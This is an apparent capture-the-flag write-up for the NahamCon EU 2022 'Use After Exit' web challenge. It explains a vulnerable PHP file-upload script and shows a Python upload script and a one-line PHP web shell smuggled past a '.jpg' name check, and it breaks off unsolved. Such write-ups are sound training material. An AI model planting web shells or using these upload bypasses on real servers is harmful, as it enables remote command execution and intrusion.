Use After Exit
Overview
-
Overall difficulty for me (From 1-10 stars): ★★★★★★★★★★
-
Challenge difficulty: Medium
Background
Author: @carlopolop#3938
It’s as easy as it looks, isn’t it?
Press the Start
button on the top-right to begin this challenge.
Connect with:
Find The Flag
Home page:
Hmm… Let’s break down that PHP code:
<?php
error_reporting(0);
if (isset($_POST['submit'])) {
$file_name = urldecode($_FILES['file']['name']);
$tmp_path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".jpg") == false){
echo "Invalid file name";
exit(1);
}
$content = file_get_contents($tmp_path);
$all_content = '<?php exit(0);'. $content . '?>';
$handle = fopen($file_name, "w");
fwrite($handle, $all_content);
fclose($handle);
echo "Done.";
}
else{
show_source(__FILE__);
}
?>
error_reporting(0);
, means turn off all error reporting- If POST request parameter
submit
is set, do:file_name
= URL decode the file nametmp_path
= The full path of temporary file of the uploaded file- If the
file_name
does NOT contain.jpg
, then echos outInvalid file name
and exit with an error code content
= The content of the uploaded fileall_content
= Add<?php exit(0);
+content
+?>
handle
= Openfile_name
inwrite
mode- Then write
all_content
in thehandle
, close the file handler, and echos outDone.
- If POST parameter
submit
is NOT set,- Show the source code of the current PHP file
Armed with above information, we can try to upload a file submit
via a python script:
#!/usr/bin/python3
import requests
url = 'http://challenge.nahamcon.com:30714/'
data = {
'submit': 'submit'
}
file = {
'file': open('./FILE_HERE', 'rb')
}
print(requests.post(url, data=data, files=file).text)
Let’s try to upload a normal image jpg file:
file = {
'file': open('./test.jpg', 'rb')
}
┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# python3 exploit.py
Done.
However, we can’t view that image, as the PHP code adds the exit(0);
in the uploaded file, thus the image is broken:
┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# wget http://challenge.nahamcon.com:30714/test.jpg
┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# head -n 1 test.jpg.1
<?php exit(0);����JFIF��C
We can try to upload a PHP web shell with .jpg.php
extension:
┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# echo '<?php system($_GET["cmd"]); ?>' > webshell.jpg.php
This can bypass the .jpg
whitelist, as it only checks the file name contains .jpg
or not.
file = {
'file': open('./webshell.jpg.php', 'rb')
}
┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# python3 exploit.py
Done.
Ah! The PHP code is adding <?php exit(0);
and ?>
to our file.
Let’s update our web shell again:
┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# echo 'system($_GET["cmd"]);' > webshell.jpg.php
┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# python3 exploit.py
Done.
┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# curl http://challenge.nahamcon.com:31792/webshell.jpg.php --get --data-urlencode "cmd=id"
However, we didn’t have any output, as the exit(0);
is getting executed first, which causes the web shell do nothing!
Note:
exit()
is a function that stops execution for the entire script.
How do we bypass that…
Race condition?
Multiple PHP opening & closing tags, like this?
<?php exit(0);
?><?php echo 'test';
?>
Override the index.php
file via fopen()
write mode?
Maybe I need to do path traversal?
Or maybe SSRF(Server-Side Request Forgery) via file name, and then read local files or access local services?
Also, this PHP code is weird to me, why it’s doing URL decode?
$file_name = urldecode($_FILES['file']['name']);
After digging deeper in those rabbit holes, still no dice…